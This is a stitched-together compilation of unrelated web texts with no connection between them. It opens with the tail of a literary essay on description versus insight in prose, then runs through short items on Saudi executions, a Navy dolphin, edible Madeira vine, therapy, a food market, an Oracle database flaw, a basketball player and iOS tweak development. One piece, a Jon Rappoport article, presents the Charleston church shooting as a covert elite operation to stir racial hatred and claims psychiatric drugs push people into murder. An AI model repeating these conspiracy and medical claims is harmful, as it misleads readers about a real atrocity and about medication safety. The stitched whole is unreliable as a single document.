marshes, flooded or dry according to the tides, and find his little wife, her black hair freshly combed and parted, waiting on the longer of the sofas, which was not precisely white but rather a rough Iranian wool bleached to the pallor of sand mixed with ash. A record, Glenn Gould or Dinu Lupatti playing Bach or Schumann, would be sending forth clear vines of sound from the invisible root within the hi-fi closet. A pitcher of martinis would have been mixed and held chilled within the refrigerator toward this precious moment of his daily homecoming…. The description in the original goes on at about this length again, and includes such additional stuff as a chewed sponge ball, Jonathan in bathing trunks, the liquid branches of the lawn sprinkler, and so on. The overwhelming feeling is of an assembling stillness and a slant-lit suburban glamour—a hushed, beautiful hesitation—until at last: Marcia would pour two verdant martinis into glasses that would suddenly sweat…and his entire household, even the stray milk butterfly perched on the copper fireplace hood, felt about to spring into bliss, like a tightly wound music box. Here possibly we may see that a writer’s natural habits align better with one form than with another; in his best work Updike the novelist seems to be much more confident that his gist will come across than does Updike the short-story writer. There is far less—relatively speaking—summarizing and explaining, as though Updike feels confident that surely, given all the matter he has presented to us, we will be able to see what he means. Turn the ratio down somewhat to discover Ian McEwan at work in Atonement, gathering his many finely described potatoes in order to derive, on behalf of Briony, a rather considerable draft of spirit: …in a prized varnished cabinet, a secret drawer was opened by pushing against the grain of a cleverly turned dovetail joint, and here she kept a diary locked by a clasp, and a notebook written in a code of her own invention. In a toy safe opened by six secret numbers she stored letters and postcards. An old tin petty cash box was hidden under a removable floorboard beneath her bed. In the box were treasures that dated back four years, to her ninth birthday when she began collecting: a mutant double acorn, fool’s gold, a rainmaking spell bought at a funfair, a squirrel’s skull as light as a leaf. But hidden drawers, lockable diaries and cryptographic systems could not conceal from Briony the simple truth: she had no secrets. Her wish for a harmonious, organized world denied her the reckless possibilities of wrongdoing. Mayhem and destruction were too chaotic for her tastes, and she did not have it in her to be cruel. Her effective status as an only child, as well as the relative isolation of the Tallis house, kept her, at least during the long summer holidays, from girlish intrigues with friends. Nothing in her life was sufficiently interesting or shameful to merit hiding; no one knew about the squirrel’s skull beneath her bed, but no one wanted to know. None of this was particularly an affliction; or rather, it appeared so only in retrospect, once a solution had been found. And observe Henry James, masterfully interweaving matter with spirit through the mind of the young and impressionable Isabel Archer, suggesting that to the greatest and most knowing practitioners, mind and matter are really inseparable aspects of a fundamental unity. Notice how difficult it sometimes is, in the following example, to decide which side of things a sentence or a phrase is addressing, and how, for James, matters of custom and perception can be seen to blend: The foundation of her knowledge was really laid in the idleness of her grandmother’s house, where, as most of the other inmates were not reading people, she had uncontrolled use of a library full of books with frontispieces, which she used to climb upon a chair to take down. When she had found one to her taste—she was guided in the selection chiefly by the frontispiece—she carried it into a mysterious apartment which lay beyond the library and which was called, traditionally, no one knew why, the office. Whose office it had been and at what period it had flourished, she never learned; it was enough for her that it contained an echo and a pleasant musty smell and that it was a chamber of disgrace for old pieces of furniture whose infirmities were not always apparent (so that the disgrace seemed unmerited and rendered them victims of injustice) and with which, in the manner of children, she had established relations almost human, certainly dramatic. There was an old haircloth sofa in especial, to which she had confided a hundred childish sorrows. The place owed much of its mysterious melancholy to the fact that it was properly entered from the second door of the house, the door that had been condemned, and that it was secured by bolts which a particularly slender girl found it impossible to slide. She knew that this silent, motionless portal opened into the street; if the sidelights had not been filled with green paper she might have looked out upon the little brown stoop and the well-worn brick pavement. But she had no wish to look out, for this would have interfered with her theory that there was a strange, unseen place on the other side—a place which became to the child’s imagination, according to its different moods, a region of delight or terror. As a further and final aside, and related to the example of James, it is worth noting that as the efficiency of narrative distillation increases, and as the ratio of world-to-mind approaches the perfect balance of 1:1, peculiar things can begin to happen. John Cheever’s novels and stories live fruitfully at this stylistic event-horizon, the authorial eye shuttling so swiftly between world and mind that the boundary between the two begins to fade away. In “The Ocean”, one of Cheever’s prototypically imperiled householders fears he is being poisoned by his wife: I mixed a Martini and went into the living room. I was not in any danger from which I could not readily escape. I could go to the country club for supper. Why I hesitated to do this seems, in retrospect, to have been because of the blue walls of the room in which I stood. It was a handsome room, its long windows looking out onto a lawn, some trees, and the sky. The orderliness of the room seemed to impose some orderliness on my own conduct—as if by absenting myself from the table I would in some way offend the order of things. If I went to the club for supper I would be yielding to my suspicions and damaging my hopefulness, and I was determined to remain hopeful. Cheever’s rough 1:1 p:v ratio seems to go some way toward producing his trademark sound—a sort of tremulous, searching flight, as a claustrophobic eye shuttles ceaselessly between world and mind in search of an elusive certainty. The feeling becomes one of weird immersion and a kind of synesthesia; the character experiences the world, has an immediate mental reaction, and is then at once experiencing the world again. Fitting perhaps that we find the fraught and frenzied Cheever here, seeing and feeling, seeing and feeling, helpless to prevent his marvelously fruitful mind from making something of everything.8 The Visual Aid Finally, with all these dubious propositions behind us, we can suggest that every writer might be plotted on a p:v graph, giving rise to the highly dubious Figure 1: Surely we have gone too far with this, and certainly it is entirely wrong to put novelists and short-story writers together, rather as though we have tried somehow to pen up tigers with barracuda, but it is interesting to note the opposing and intersecting groupings, one of which we may very generally see is composed of Worriers—writers less at home in the world, and who have taken the self, or some version of the self, as the subject—while the other is composed of Composed Describers, writers who have taken the world as their subject and, generally speaking, written about society. That this is a byproduct of the individual personalities in question seems plain. We should also note that the very greatest tend to find themselves at rather the far points on the graph, outliers here as elsewhere, and that certain stylistically versatile folks can be imagined to be plotted in more than one place (Welty’s various moods, Updike’s, Faulkner’s come to mind), rather as though they have both a city house and a country one. But what are we to do with this, then, as writers of prose? Probably we ought to note the relative scarcity of successful examples on the left side of the chart, whose few denizens have managed, like those extremophile bacteria who manage to flourish on ocean-bottom vents or in sulfuric acid pools in the depths of limestone caves, to survive in difficult environments, deriving great hogsheads of spirit from mere armfuls of potatoes. We ought to observe the cluster of sturdy realists trading remarks around the 10:2 mark, with the anomalous Coetzee somehow standing there too, all cool and gray and saying absolutely nothing whatsoever to anybody, and we may further admiringly note the high, plush posts of the great novelists, who manage to furnish their work with not only a great amplitude of matter but also of insight. We will leave it to the poets and especially to those lucky vessels who feel themselves recipients of divine inspiration to aspire to the ratio of 100:100, wherein the great unimaginable gigantitude of the world is, leaf-by-leaf, quantum-by-quantum, infused with the fullness of a supernaturally omnipresent understanding. We here are only prose writers, and we have deadlines to meet, so something like “just enough, not too much” will have to do. A little vodka is good for you, let us be satisfied to say, and too much ain’t. Notes 1. Person, place, object, situation, idea—they’re all hard. 2. I see pall people. 3. Nouns are especially weighty. Descriptions are usually made of nouns and adjectives. But actions and lines of dialog must also be recognized as potato-esque in their effects, too, and a very good description will usually contain some element of action. Notice where your attention tends to catch and where it tends to slide in this description of Gabriel, from “The Dead”: He was a stout tallish young man. The high colour of his cheeks pushed upwards even to his forehead where it scattered itself in a few formless patches of pale red; and on his hairless face there scintillated restlessly the polished lenses and the bright gilt rims of the glasses which screened his delicate and restless eyes. His glossy black hair was parted in the middle and brushed in a long curve behind his ears where it curled slightly beneath the groove left by his hat. When he had flicked lustre into his shoes he stood up and pulled his waistcoat down more tightly on his plump body. Then he took a coin rapidly from his pocket. Observe Joyce’s well-intentioned attempts to ‘actionize’ the description: “pushed upwards,” “scattered itself,” “scintillated restlessly,” “screened.” But these are tricks, and not very successful. The mind’s eye is most engaged when Gabriel is actually doing something—”he pulled his waistcoat down more tightly on his plump body.” And it is least engaged where he is simply being something—”He was a stout tallish young man.” We see what is done more easily than we see what simply is. In this our eye is amphibian, registering change, becoming blind to stasis. 4. This is, it may be argued, the fundamental work of narrative art: the description of the metronomic interaction between the private mind and the constantly impinging world. 5. Updike’s reliance on seemed here and throughout his mighty oeuvre suggests his general preoccupation with the truth that lurks behind appearances, with making sure that everything be understood; and if it is this impulse that gives rise to his occasional overweening anxiety that we get the point of something, it strikes me as a fitting impulse. Very tall, he was terribly gawky as a child, with a gigantic nose, debilitating eczema, a comical stutter, and to top it all off a world-class mind. No one looking at him could have guessed what he really was. No wonder that the Rabbit books feature a man who, on the surface, is mostly unremarkable—a former high school basketball star, a printing press operator, a car salesman, a middling husband and father—and yet who has perhaps the most florid, nuanced internal life of any character ever composed. Related to this, surely, is Updike’s chronic affection for adverbs, those gravitational devices that control the flight of a verb even after it has been set loose. What other author would give us a character who “steered sullenly”? A life that is “majestically rooted”? Why else would he describe a hoard of treasure as “surreptitiously hidden”? Because of a mostly generous desire to make sure we get what he’s saying. That we get him, really, the kid with the big nose and the hideous skin, who also happens to be, as he might say, transcendently alight. 6. This is complicated by the fact that Baldwin’s characters also often struggle against their own bodies in various ways. 7. This is true even when the novelist and the short story writer are one and the same person; Doctorow the novelist has a much higher P:V ratio than Doctorow the short-story writer. 8. That Cheever was subject to the workings of his peculiar brain seems obvious; it has always struck me that the hysterical, sensory-enhanced well-being expressed in so much of Cheever’s work resembles the feeling that accompanies an epileptic’s ‘aura’, wherein the universe seems infused with mysterious meaning. Late in his life, with his brain ruined by booze, Cheever in fact had two epileptic seizures; it is my unsupportable crackpot belief that he had been experiencing mild seizures all his life, and that his habitual drinking may have been, in some small part, a means by which he attempted to reproduce the lovely feelings that unpredictably descended upon him, and which must have seemed, undiagnosed as they would have been, messages from a greater, senselessly benign power. Poor, mean, helpless, brilliant Cheever. -Charleston church shooting: the larger covert op by Jon Rappoport June 18, 2015 NoMoreFakeNews.com “Long-term covert ops sometimes disguise themselves by claiming that the hidden cause of a problem is the cure. So it is with psychiatric drugs, like SSRI antidepressants, which push people into committing murder. In the aftermath of these killings, leaders call for expanded psychiatric screening—which will result in further prescription of those very same drugs.” (The Underground, Jon Rappoport) Police report the suspect in the Charleston church shooting, Dylann Roof, has been captured. This is the latest in a string of crimes in which black-white conflict has been highlighted, pressed, argued, and used, for the purposes of: fanning flames of racial discord, exercising further gun control, and fatuously claiming that universal psychiatric screening and drugging is an answer. In this brief article, I focus on black-white conflict. In the 1960s, in America, the burgeoning drug culture and the Vietnam War became the occasion for protests and riots that shook the nation. In that case, the main target was the federal government. Even though the “revolution” was pro-left, the 1968 Chicago riots were staged at the Democratic nominating convention. That gives you some idea of the degree of overall and virulent anti-government sentiment. From the point of view of elite planners, the 1960s should not be repeated; at least not in the same way. This time, the government should be seen as the hero, the rescuer, the mediator. For that to happen, Americans would turn on and target each other. There is no better way to accomplish that than to strike at the issue of race. Emphasize it, push it, make it stand out, tie it into political correctness, create absurdist “dialogue” that could have no other outcome than outrage. The “discussion about race” has turned into transparent provocation. Divide and conquer is as old as the hills. The conqueror is the ruler. And, of course, as he wins, he enacts more downward pressure on freedom, in multiple ways, while pretending to be the healer. This is the op. This is the simplicity of it. You can throw other logs on the fire: agents provocateur in the media; the release of violent immigrant criminals from US prisons; the seeding of the population with massive amounts of psychiatric drugs (SSRI antidepressants) that scramble brains and push people over the edge into committing violent acts, including murder. And oh yes, you can also include the intentional expansion of poverty (and attendant resentment) through the departure of millions of jobs overseas: aka Globalism. That is provocation of the highest order. The objective is shifting the target from government to the people themselves, along the familiar lines of race. And the payoff message will echo the sentiments of 1995, after the Oklahoma City Bombing: “Come home to the government, we will protect you. Only we can protect you.” If you believed mainstream media, you would think the entire race issue in America consists of a three-way conversation between Al Sharpton, a KKK high priest, and some demented college student who insists that every word in the English language contains a hidden racial element. Update: CBS News is reporting that Dylann Roof was arrested on February 28 in a mall, while he was asking a store clerk “out of the ordinary questions.” At that time, he was found in possession of a medicine called Suboxone. It is an addicting drug used to treat opiate addiction. Some adverse effects: agitation, hostility, hallucinations, attempted suicide, depersonalization. Rapid withdrawal from Suboxone can be more dangerous than taking it. Getting the picture? Of course, the distinct possibility that the drug pushed Dylann Roof over the edge into committing murder isn’t part of the “correct” narrative aimed at accelerating racial hatreds. The truth? Irrelevant. Jon Rappoport The author of three explosive collections, THE MATRIX REVEALED, EXIT FROM THE MATRIX, and POWER OUTSIDE THE MATRIX, Jon was a candidate for a US Congressional seat in the 29th District of California. He maintains a consulting practice for private clients, the purpose of which is the expansion of personal creative power. Nominated for a Pulitzer Prize, he has worked as an investigative reporter for 30 years, writing articles on politics, medicine, and health for CBS Healthwatch, LA Weekly, Spin Magazine, Stern, and other newspapers and magazines in the US and Europe. Jon has delivered lectures and seminars on global politics, health, logic, and creative power to audiences around the world. You can sign up for his free emails at NoMoreFakeNews.com or OutsideTheRealityMachine. -The vast majority of foreigners charged with crimes meriting the death penalty are relatively impoverished menial labourers, predominantly from third world countries. Members of this group cannot afford the "diya" or blood money payments to a victim's relative that can win clemency from the Shariah system of Islamic justice. Although foreigners make up just one quarter of the oil rich state's population, Amnesty reported they made up the majority of all those sent to death row. Its report revealed that at least 1,695 executions were carried out between 1985 and May 2008, with the number of non-nationals totalling 830, compared with 809 local citizens. It was impossible to ascertain the nationality of the remaining 56. But it is in the number of reprieves that the greatest disparity lies. Amnesty claimed that a pardon is granted in one in every four capital cases involving a Saudi citizen but only one in 30 of each foreign case. Saudi Arabia executed 78 people in the first eight months of this year, a figure in line with the 2007 total of 158. -030317-N-5319A-014 Central Command Area of Responsibility (Mar. 17, 2003) -- Spetz a Bottle Nose Dolphin belonging to Commander Task Unit (CTU-55.4.3) is beached up on a transfer mat before going out on a training mission from the well deck of the USS Gunston Hall (LSD 44) operating in the Arabian Gulf. CTU-55.4.3 is a multinational team consisting of Naval Special Clearance Team-One, Fleet Diving Unit Three from the United Kingdom, Clearance Dive Team from Australia, and Explosive Ordnance Disposal Mobile Units Six and Eight (EODMU-6 and EODMU-8). These units are conducting deep/shallow water mine counter measure operations to clear shipping lanes for humanitarian relief. CTU-55.4.3 and USS Gunston Hall are currently forward deployed conducting missions in support of Operation Iraqi Freedom, the multinational coalition effort to liberate the Iraqi people, eliminate Iraq's weapons of mass destruction, and end the regime of Saddam Hussein. U.S. Navy photo by Photographers Mate 1st Class Brien Aho. (RELEASED) Download High Resolution Go Back -Now that we’re gardening in a frost-free area we have to get acquainted with a new bunch of sub tropical-ish weeds. This week, it’s been all about the Madeira Vine. In our new garden, the stuff is everywhere. Look up Madeira vine and you will find gazillions of references to its invasive and terrible habits. But did you know that it’s edible? Last weekend we got stuck into our new rental home’s garden. Well, a corner of it, anyway. Small steps, obtain a yield, and all that. Prettymuch every surface in the corner we started in was choked in the bright green, fleshy leaves of Madeira vine, a garden escapee which hails from South America. Madeira vine (Anredera cordifolia) is a hardy perennial which climbs up trees and then proceeds to produce long tails of flowers followed by clusters of airborne bubils, which fall off, and make more Madeira vines. It’s considered a real problem all across subtropical Australia – choking the edge of rainforests and other native vegetation – like many resilient pioneer species, it’s an aggressive little bugger. And our new garden was choked with the stuff. With the enthusiasm that only establishing a new garden can bring, I took on the madeira vine with gusto. The tuberous roots were everywhere, and it trailed up the fence and the lemon tree, as well as thickly across the ground. I ripped and I ripped and I ripped it out. During a pause in my ripping frenzy, I had a thought. And so I panted to Nick: “hey could you look up Madeira Vine and check what it’s good for?” It turns out that Madeira vine is highly edible. Medicinal, even. Madeira vine leaves can be cooked like spinach and are highly nutritious Madeira vine roots (rizomes) can be baked like potato Madeira vine bubils (the aerial seed-ish things) are used extensively in Chinese medicine as an anti inflammatory, anti ulcer and liver protectant. So here I am, ripping out a perfectly adapted, naturalised and nutritious food crop that can be used like spinach so that I can, er, plant some spinach. Oh the irony. Our personal compromise? To meet the Madeira vine half way. We removed it from our intensive planting bed, But we left it be under the lemon tree, where it seemed happiest. Our future strategy? Management and reduction, via eating it. So we won’t plant any more spinach. Until we run out of madeira vine, that is. As I looked through the very many online articles and references to Madeira vine as a noxious pest, I was struck by the fact that only one article in twenty mentioned the vine’s eminent edibility. Don’t you think that’s crazy? I mean, don’t get me wrong. Native vegetation is essential to preserve, as are our remaining pockets of functional rainforest. And weed removal is a part of that. But conversely, in an age of food scarcity, of ridiculously wasteful and polluting industrial agriculture being promoted as the only way to feed Australia (because we couldn’t possibly feed ourselves with localised small farm based food systems, apparently)… In the middle of all this, we have yet another rampant food bearing plant that is everywhere, and which is being entirely ignored for the nutrient dense value to our communities that it represents. In fact, we have a local food source dripping, literally, from the trees around us. And yet our only plan for it, no matter where it grows, is to eradicate it. Does this mean we should let plants like Madeira vine strangle our local nature reserve? Hell no. But this does mean that, yet again, we have an adapted, perennial, zero footprint and highly nutritious food plant right on our doorsteps, which we’re trying our best to wipe out. Because it doesn’t fit our idea of food, our idea of nature. But unlike many other edible weeds that are there for the foraging but which could be easily discounted from cultivation due to various factors, it’s interesting to note that Madeira Vine ticks many of the boxes desired for a food crop… It grows without much assistance, is hardy and produces prolifically. It requires minimal cultivation. It dominates an area where it is planted (meaning far less weed control is needed) It is spread only by humans and by water flows distributing the bubils – an easy factor to contain with good design And if that’s not enough, Madeira vine is already successfully cultivated + eaten extensively in Japan, where it is called okawakame (land seaweed) At any rate, I feel fortunate that we looked it up, and now know of another local food that can be used to nurture our family and friends. Seeking sustenance by whatever means available, and necessary. Madeira Vine resources It’s a pickle, isn’t it – what do you make of this issue? Actually, speaking of pickles, i rekon Madeira vine would make a good pickle or kraut addition… **Update in response to the various folks who are determined to see the above post as a promotion of cultivating noxious weeds – people, read the post again. It’s not. What I am saying is that using the resources around you (even as you attempt to eradicate them) is a good idea, and an ethical approach to energy + food consumption. Whether it’s madeira vine, feral rabbits, whatever – eating it is an appropriate use of energy, and should be considered over the alternative of exclusively approaching the problem with glyphosate or pindone. And if you really want to talk weeds and the destruction of the Australian landscape, let’s start with the big ones – rice, wheat, canola, sugarcane and so on… it’s a long list, if you look at it in terms of adverse and invasive impact on our ecosystems… -Selena Gomez says she wants more people to talk about therapy — and she’s leading the charge. Gomez said in April’s Vogue magazine that DBT, or Dialectical Behavior Therapy, is helping her recover from anxiety and depression. “[It’s] completely changed my life,” she told the mag, adding that she now sees her therapist five times a week. IS ONLINE THERAPY LEGIT? DBT is a form of cognitive behavioral therapy developed in the late ’80s to treat borderline personality disorder. “Now, almost three decades later, it’s been … shown to be helpful for people with depression, anxiety, and people with mood swings,” clinical psychologist Amanda Spray, Ph.D., assistant director of the Steven A. Cohen military clinic at NYU Langone, tells The Post. “There are four basic components,” Spray explains: Mindfulness, interpersonal effectiveness (learning how to have your needs met by others), emotion regulation (learning how to process and handle your emotions), and distress tolerance (taking a step back and not acting impulsively under distress). Spray says that many therapists have adapted DBT to fit their own practice, but traditional DBT entails weekly therapy appointments, weekly group meetings, and at-home exercises to help patients apply what they’ve learned. FOLLOW US ON FACEBOOK FOR MORE FOX LIFESTYLE NEWS Click for more from the New York Post. -Following news last month that Anthony Bourdain’s planned international food market at Pier 57 had pushed its opening back by two years, an investigation by Eater NY is now questioning whether Bourdain Market will open at the pier at all. Eater found out that Bourdain and his partners haven’t actually signed up for a lease at the SuperPier, but have only obtained a letter of intent, which is not a legally binding contract. Instead, Eater NY is investigating rumors that the Bourdain Market partners might actually be considering a back up option, which is signing on to 155,000 square feet of space at Gansevoort Market. The head of Bourdain Market, Stephen Werther confirmed to Eater that they hadn’t signed a lease at Pier 57, and that they had previously considered Gansevoort as a backup option. He denied rumors that those talks had restarted again however. The developers of the Pier, Youngwoo & Associates and RXR Realty declined to comment on the matter, but a rep for Youngwoo said that the development firm had never confirmed Bourdain Market as a tenant, and that only Google had been confirmed so far as having signed a lease at the space. Werther admitted to Eater that he expected the project to have moved forward sooner, but that signing the lease was "imminent," and that there were bound to be complications for a project of this scope. Architecture that comes to life in Game of Thrones -Oracle suffered with serious vulnerability in the authentication protocol used by some Oracle databases. This Flaw enable a remote attacker to brute-force a token provided by the server prior to authentication and determine a user's password. A researcher - Esteban Martinez Fayo, a researcher with AppSec tomorrow will demonstrate a proof-of-concept attack. Martinez Fayo and his team first reported the bugs to Oracle in May 2010. Oracle fixed it in mid-2011 via the 11.2.0.3 patch set, issuing a new version of the protocol. "But they never fixed the current version, so the current 11.1 and 11.2 versions are still vulnerable," Martinez Fayo says, and Oracle has no plans to fix the flaws for version 11.1. The first step in the authentication process when a client contacts the database server is for the server to send a session key back to the client, along with a salt. The vulnerability enables an attacker to link a specific session key with a specific password hash. There are no overt signs when an outsider has targeted the weakness, and attackers aren't required to have "man-in-the-middle" control of a network to exploit it. "Once the attacker has a Session Key and a Salt (which is also sent by the server along with the session key), the attacker can perform a brute force attack on the session key by trying millions of passwords per second until the correct one is found. This is very similar to a SHA-1 password hash cracking. Rainbow tables can’ t be used because there is a Salt used for password hash generation, but advanced hardware can be used, like GPUs combined with advanced techniques like Dictionary hybrid attacks, which can make the cracking process much more efficient." "I developed a proof-of-concept tool that shows that it is possible to crack an 8 characters long lower case alphabetic password in approximately 5 hours using standard CPUs." Because the vulnerability is in a widely deployed product and is easy to exploit, Fayo said he considers it to be quite dangerous. -After a season rife with rumors of trades and fistfights, is this—finally—Dion Waiters’ coming out party? Dion Waiters stood outside of his locker, squinted his eyes and shook his head as a half-smile-half-grimace formed on his face. It was early January, just days after the calendar turned to 2014. The Cleveland Cavaliers had just lost a heartbreaker to the Indiana Pacers, contenders for the NBA title, and he came pretty damn close to pulling off a miracle that would have propelled his name even further up the ranks in the minds of Cavalier fans. The Cavs were playing in their third game without All-Star point guard Kyrie Irving who had fallen victim to a bruised knee. In Irving’s absence, Cavs head coach Mike Brown opted to go with Matthew Dellavedova at point guard, an undrafted rookie out of St. Mary’s who had grown a bit of a cult following due to his never-ending hustle, rather than Waiters, who was drafted fourth-overall just a year earlier. Down 16 points in the fourth quarter, however, Cavaliers head coach Mike Brown reached to his bench, placing Waiters in the rotation as the primary ball handler. Waiters, who had mysteriously been given very little in the way of playing time to this point, took immediate advantage, rattling off 12 straight points—a barrage of jumpshots between 17 and 26 feet, all different locations on the floor, all finding the bottom of the net. Once the Pacers defense started to converged, the second-year guard from Syracuse turned into a distributor, a facilitator, finding Varejao for two roof-raising assists. Days earlier, needing overtime to pull out a win against the Orlando Magic, it was Waiters who drove to his left with the clock running down, sinking a lay-up that would eventually send the Cavaliers into extra frames. Down two points with 20 seconds to go against the Pacers, Waiters once again took an inbound pass at the top of the key. The 6-foot-3-inch guard was being guarded by a 6-foot-9-inch small forward in Paul George, one of the best defenders in the league. Waiters made quick work of George, blowing by him on a drive to his right side. The catch: The Pacers center, a 7-foot tall Roy Hibbert, was playing weak-side defense and turned into a brick wall, forcing Waiters to take a tough shot that would ultimately not fall . “Paul George is a good defender, but I knew I could get by him,” Waiters would say. “It was that next guy you had to worry about. If I could do it differently, I would, but I was just trying to be aggressive at that moment and put the pressure on the refs to make a call.” This is the same Paul George who, in a feature for ESPN The Magazine, was recently dubbed one of the game’s top players even in the event that he would never score a single, solitary point; the same George who has transcended himself to being the 1A among small forwards, behind only the reigning MVP in LeBron James. When asked by WFNY about going to his left, a voice came shooting over the horde of media members who were swirling about. It was fellow swingman CJ Miles who prodded his teammate—”Everyone knows you wanted to go left,” he said, drawing a laugh from anyone within earshot. All it takes is a quick Google Image search of “Dion Waiters driving” to find dozens of images of Waiters, full steam ahead, with the basketball in his left hand. The left wasn’t there. Brown, hardly one to hand out compliments in what had been a season of disappointment, was willing to budge a little on this very night, categorizing any one-on-one matchup between his shooting guard as favorable. “He’s a talented guy offensively,” said Brown. “He knows it. Everybody knows it.” See what he did there? ***** Offense has never been an issue for Dion Waiters. Drafted fourth overall in 2012, he arrived on the NBA scene with a chip on his shoulder and a try-and-stop-me attitude that would allow him to get to the rim with ease. Just 24 hours after Waiters’ arrival to Cleveland, then head coach Byron Scott was lacing him with praise, saying that he felt the sixth man out of Syracuse was the second-best player in the draft . Scott salivated while daydreaming of a young and spry backcourt duo with the on-ball skills of Irving and Waiters pick-and-rolling teams into oblivion. As Waiters will attest, however, getting to the rack at the NBA level would merely serve to be half of the battle—finishing upon arrival is the tougher of the tasks, one which would produce historically terrible numbers. Not given much in the way of a superstar treatment, Waiters often finds himself frustrated with the lack of whistles blown in his favor. This, at times, has led to poor defense and even worse body language, reportedly drawing the ire of a few teammates who were tired of watching teams score while their shooting guard is back on the other side of the floor seeking an explanation from an official. It was Dion Waiters whose face was plastered on the poster of shame following the Cavs’ embarrassing loss to the Sacramento Kings earlier in the year—his pouting was hitting a crescendo; his team was careening toward chaos. Amidst a roller coaster of a season, fewer players wearing wine and gold on a nightly basis have experienced the twists and turns that have been associated to Dion Waiters. Less than one month into the season and it was Waiters’ name penned into the heart of stories rooted in team dysfunction—some going as far as speculation surrounding a fist fight, aided by Irving showing up with a black eye Trade rumors swirled, looming large like black clouds over the ebbs and flows of each passing day, but were consistently shot down like clay pigeons with both the team and the player toting verbal shotguns—”It’s nonsense,” said Waiters of a rumored meeting between he and then GM Chris Grant. “Man, I ain’t sitting in no office for three hours.” As the season wore on, when posed a question specifically regarding Waiters, Brown has gone as far as he has to to admit pleasure in his player’s offensive skill set, but consistently stops short of delivering full-blown praise—enough to keep other teams interested in the event that they had yearned to acquire the shooting guard via trade, but not enough to make the player feel as if he was meeting all expectations during what was just his sophomore season. ***** There is something inherently compelling about Dion Waiters. From the day he stepped foot into Cleveland, he has been the player who is adored by most fans while being simultaneously shunned by those not looking through a lakefront prism. He arrived here having not been interviewed or taken part in a pre-draft workout. He showed up overweight and was shut down mid-way through his first run at an NBA Summer League. He was, after all, a sixth man. Waiters’ decision-making has long been criticized, often predicated upon shot selection, shot form, and a lack of anything that could be classified as “hustle.” At the same time, over the course of the last two years, when selecting a topic for the annual CavsZine, this very author has made Waiters his subject of choice . Maybe it’s the mystery. Maybe it’s the way he’s the first person to rush over and defend a pesky teammate or an irate coach. Maybe it’s the unfair (and oftentimes inaccurate) notions cast upon the man who lives inside of said mystery. To be fair, it is easy to be the subject of criticism when you tell the world that you believe you can be the best shooting guard in the entire world and subsequently put up a win-share total that is lower than your team’s reserve center. “This year, I’m going to show a lot of people who doubted me and still doubt me,” Waiters said back in September. “I’m going to show them. I don’t need praise and all of that. I just want to be respected. I’m coming. That’s all I have to say. I’ve taken my work ethic to another level and I feel as though I still have something to prove. So, watch out.” Then again, it could be that same (somewhat inflated) sense of self that makes Dion Waiters. Despite all of the struggles that the 2013-14 season has thrown his way, he’s still that same kid out of inner-city Philly who stepped into Cleveland Clinic Courts and stared wide-eyed like it was the Land of Oz; he’s the kid with “BLESSED” scrawled across his shoulders; he’s still as confident as ever. When recently asked about his mindset between being a member of the starting five or providing relief off of the bench, Waiters didn’t skip a beat. “It’s all the same: Go in there and kill somebody.” ***** The Cavaliers are heading toward the finish line once again. For all of the hope and expectations that came with last year’s draft, some free agency additions and internal growth, a lottery pick awaits. Kyrie Irving just celebrated his 22nd birthday while wearing street clothes. Dion Waiters has had his own celebration, scoring nearly 24 points per game in the All-Star point guard’s absence. Long having provided off-the-ball relief, leading the NBA in scoring off of the bench, Waiters has taken on a different persona as of late, doing so against the best the NBA has to offer. Against the Miami Heat earlier this month, Waiters’ ball skills were on display as he recorded his first double-double. He would thank his teammates for hitting their shots after he found them, whether it was for an easy two or a clutch three. Two nights later, he tied a career high with 30 points against the Oklahoma City Thunder, being a part of a 21-2 run that rivaled the comeback attemp made against the Pacers back in early January. His driving lay-up pulled his team within five; as things began to slip away, he would drain a three-pointer to give the Cavs one final chance. Against the Houston Rockets, Waiters once again paced the Cavaliers with 26 points, adding eight more assists for good measure. One night later, on the second night of a back-to-back, he provided 22 more points as the wine and gold ended the New York Knicks’ eight-game winning streak. It would be Jarrett Jack in the spotlight, leading the team in scoring and assists (31 and 10, respectively), but it would be Waiters who not only kept double-teams away from his backcourt mate, but hit a clutch three-pointer to put his team up by four late in the fourth quarter, having entered it down by nine. By now, you’ve heard the story. Following the loss to the Thunder, a game that not only left many feeling good, but showed that his team was still fighting despite the point in the season and the opponent, it was Dion Waiters, having just scored 30 points, who was sitting in Mike Brown’s office, in a towel having not yet gotten dressed, waiting for his coach to finish his post-game address of the media. You see, despite the 30 points that he had just scored, Waiters felt that he did not do all that he could have done—in the rebounding and hustle department, specifically—and wanted to apologize. Why? Because “that’s what men do,” he would later say. “At the end of the day you have to look in the mirror at yourself,” said Waiters. “If you feel as though you didn’t rebound and you were part of the problem, why not admit it? It’s easy to point the finger, but you have to look in the mirror and see what you can do better. Where I come from, we just tell it how it is. We don’t point the finger at someone else.” Brown said that Waiters is trying to take some “initiative in the process.” His teammates, the same ones who were fed up with his antics during the winter-month drubbings, are also taking notice. Small forward Luol Deng said Waiters is “playing great right now.” Jack, the man who inhabits the locker next to Waiters when the two find themselves within the confines of The Q, has also seen marked improvement, but not just in the young guard’s play. Jack assured Waiters that the only reason people are hard on him is because of his ability and the expectations that come with being one of the best athletes in the world. He’s challenged Waiters to not only bring it on the court, but off of it as well. “I think he’s done a hell of a job these last few games with Ky being out, stepping up making plays,” said Jack. “He’s still a work in progress, but I think he’s doing a hell of a job. Leaps and bounds from where we were at the beginning of the season—decision making, being more assertive, talkative, being more receptive to criticism but him also being able to lead others as well.” Right now. A work in progress. Sure, all signs for Waiters are currently pointing up, but just like their head coach, his veteran teammates know that with life comes with qualifiers, with praise comes the notion that things are far from over. No matter where you are, no matter how far you’ve come, the rug can be pulled out from under your feet at any time—it comes down to how quick you can adapt to the altered landscape. For Waiters, to this point, his NBA career has been stocked full of almosts and what-could-have-beens. Fortunately for him, he’s just 22 years old and has shown that he finally knows what everyone else has for the last two years— just because you want to go to your left doesn’t mean the defense is going to give it to you. — (Image: Michael Ivins-US PRESSWIRE) -Learning C and Objective-C If you have no programming experience and you want to write extensions/tweaks, you'll need to learn a lot about Objective-C and developing ordinary apps for iOS. (If you'd like to first try modifying code in simple ways to explore some possibilities, you can try the paid package Flex, on the BigBoss repository in Cydia.) To give you a taste, Code School has an iOS programming course for beginners, with a free interactive guide to getting started with Objective-C. You can also try the free courses offered by Codecademy - they're not about Objective-C or iOS, but they can give you a general sense of what programming is like. For further study: It's good to learn some C too; it'll give you a better foundation for learning Objective-C. You'll want to know about pointer arithmetic, the Objective-C runtime, buffer overflows, bitwise operations, the model-view-controller pattern, etc. Ideally you'll get to a point where you're comfortable writing and running code for iOS. If you're already there, definitely keep reading! Setting up Theos Follow Theos/Setup to set up your Theos environment by installing Theos and creating your first project. These links may also be helpful: guide on 